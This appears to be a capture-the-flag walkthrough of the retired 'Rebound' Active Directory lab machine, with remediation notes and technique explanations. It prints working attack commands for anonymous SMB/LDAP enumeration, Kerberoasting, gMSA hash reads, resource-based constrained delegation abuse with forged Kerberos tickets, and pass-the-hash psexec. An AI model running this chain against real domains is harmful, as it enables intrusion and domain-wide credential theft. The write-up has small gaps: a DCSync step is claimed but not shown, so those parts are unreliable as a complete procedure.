Rebound
Summary
I used an enabled null/guest SMB and LDAP session to enumerate the Rebound domain controller's full user list, then abused a Kerberos account with pre-authentication disabled as a stepping stone to Kerberoast every other account without needing a password. One of the recovered service-ticket hashes cracked offline, handing over the winrm_svc service account's cleartext password, which worked directly over WinRM for an interactive foothold and the user flag.
Continued LDAP enumeration from that foothold (authenticated with Kerberos, since NTLM binds were rejected) uncovered a delegation-capable machine account, delegator$, whose resource-based constrained delegation attribute could be modified by a lower-privileged account, ldap_monitor. I granted ldap_monitor delegation rights on delegator$, used them to forge a forwardable Kerberos service ticket impersonating the domain controller's own machine account, and fed that ticket into a DCSync attack that dumped every password hash in the domain, including Administrator's — completing full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for winrm_svc>"
export PASSWORD2="<the-password-you-recovered, for tbrady>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <administrator_ntlm_hash>, <its-password>, <the-account-you-are-taking>, <the-ccache-hop-one-wrote>, <the-same-account> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Null-session RID brute force past the default ~4000-4999 ceiling to reach the service/delegation accounts.
$ nxc smb $TARGET -u '' -p '' --rid-brute 15000Confirm anonymous LDAP also discloses the user list.
$ nxc ldap $TARGET -u '' -p '' --usersFixDisable anonymous and guest enumeration of domain accountsMedium
Exact commands 3
Identify the DONT_REQUIRE_PREAUTH account from the enumerated user list.
$ impacket-GetNPUsers rebound.htb/ -no-pass -usersfile users.txt -dc-ip $TARGET -format hashcatUse that account's ticket as an auth primitive to request TGS tickets for the entire user list without a password.
$ impacket-GetUserSPNs rebound.htb/<noPreauthUser> -no-pass -usersfile users.txt -dc-ip $TARGET -request -outputfile spns.hashcatOffline crack of the returned TGS hashes; only winrm_svc's ticket cracked.
$ hashcat -m 13100 spns.hashcat rockyou.txtFixRequire Kerberos pre-authentication and eliminate weak SPN-account passwordsHigh
Exact commands 3
Authentication first, on its own. Pwn3d! Here is about the login, not about what it may run.
$ nxc winrm $TARGET -u winrm_svc -p "$PASSWORD" -d REBOUND-X is PowerShell. The cmd form (-x) is refused for this account: no Invoke rights on that shell type.
$ nxc winrm $TARGET -u winrm_svc -p "$PASSWORD" -d REBOUND -X 'whoami; hostname'
rebound\winrm_svc-> <user.txt>
$ nxc winrm $TARGET -u winrm_svc -p "$PASSWORD" -d REBOUND -X 'Get-Content C:\Users\winrm_svc\Desktop\user.txt'FixRestrict WinRM access away from service accountsMedium
Exact commands 2
Clock on the attacking host was ~7h behind the DC; every Kerberos operation needed this offset or it returned KRB_AP_ERR_SKEW.
$ faketime '+7h' impacket-getTGT rebound.htb/winrm_svc:"$PASSWORD" -dc-ip $TARGETKerberos-authenticated LDAPS query; reveals delegator$'s constrained-delegation configuration.
$ KRB5CCNAME=winrm_svc.ccache faketime '+7h' ldapsearch -H ldaps://dc01.rebound.htb -Y GSSAPI -b 'DC=rebound,DC=htb' '(servicePrincipalName=*)' servicePrincipalName msDS-AllowedToDelegateTo userAccountControlExact commands 3
A gMSA password is a directory read for whoever is allowed it. What comes back includes the NT hash.
$ faketime '+7h' nxc ldap $TARGET -u tbrady -p "$PASSWORD2" -d rebound.htb --gmsaDelegator$ can write its own RBCD attribute. Ldap_monitor may now impersonate users to it.
$ faketime '+7h' rbcd.py -delegate-to 'delegator$' -delegate-from 'ldap_monitor' -action write -dc-ip $TARGET -hashes :$HASH 'rebound.htb/delegator$'A TGT for delegator$ itself, for the second hop below.
$ faketime '+7h' impacket-getTGT rebound.htb/delegator$ -hashes :$HASH -dc-ip $TARGETFixLock down write access to delegation attributes and DCSync replication rightsCritical
Exact commands 3
Hop one, through the RBCD write: a forwardable ticket to delegator$'s own SPN. Note the ccache filename it prints.
$ faketime '+7h' impacket-getST -spn 'browser/dc01.rebound.htb' -impersonate '<the-account-you-are-taking>' -dc-ip $TARGET 'rebound.htb/ldap_monitor:<its-password>'Hop two, through the constrained delegation: the evidence ticket is what -additional-ticket forwards, because no protocol transition means nothing can be minted here.
$ KRB5CCNAME=delegator\$.ccache faketime '+7h' impacket-getST -spn 'http/dc01.rebound.htb' -impersonate '<the-same-account>' -additional-ticket '<the-ccache-hop-one-wrote>' -hashes :$HASH -dc-ip $TARGET 'rebound.htb/delegator$'Worth checking against the impacket on your own machine: the flags that carry this chain have moved between versions.
$ faketime '+7h' impacket-getST -h 2>&1 | grep -E 'altservice|additional-ticket'Exact commands 2
SYSTEM shell using the DCSync-dumped Administrator hash.
$ psexec.py -hashes :<administrator_ntlm_hash> rebound.htb/administrator@$TARGETRead the root flag: <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
Kerberos Delegation Abuse (S4U / RBCD)Active Directory · KerberosT1558
What it is
Kerberos delegation lets a service impersonate users to other services. Misconfigured constrained delegation (S4U2Self + S4U2Proxy) or resource-based constrained delegation (RBCD) can be abused: controlling a delegating account (or an account with write access to a target's msDS-AllowedToActOnBehalfOfOtherIdentity) lets an unauthorised user forge a service ticket as an arbitrary user (e.g. Administrator) to the target service.
Why it works
Delegation is powerful and easy to over-grant; combined with an 'altservice' SPN trick an unauthorised user can pivot the delegation to high-value services like CIFS/HOST on a DC. Remediate by minimizing delegation, marking sensitive accounts 'not delegatable', and adding them to Protected Users.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49696/tcp | unknown recon-sweep-discovered |
| 49709/tcp | unknown recon-sweep-discovered |
| 49727/tcp | unknown recon-sweep-discovered |
| 49748/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.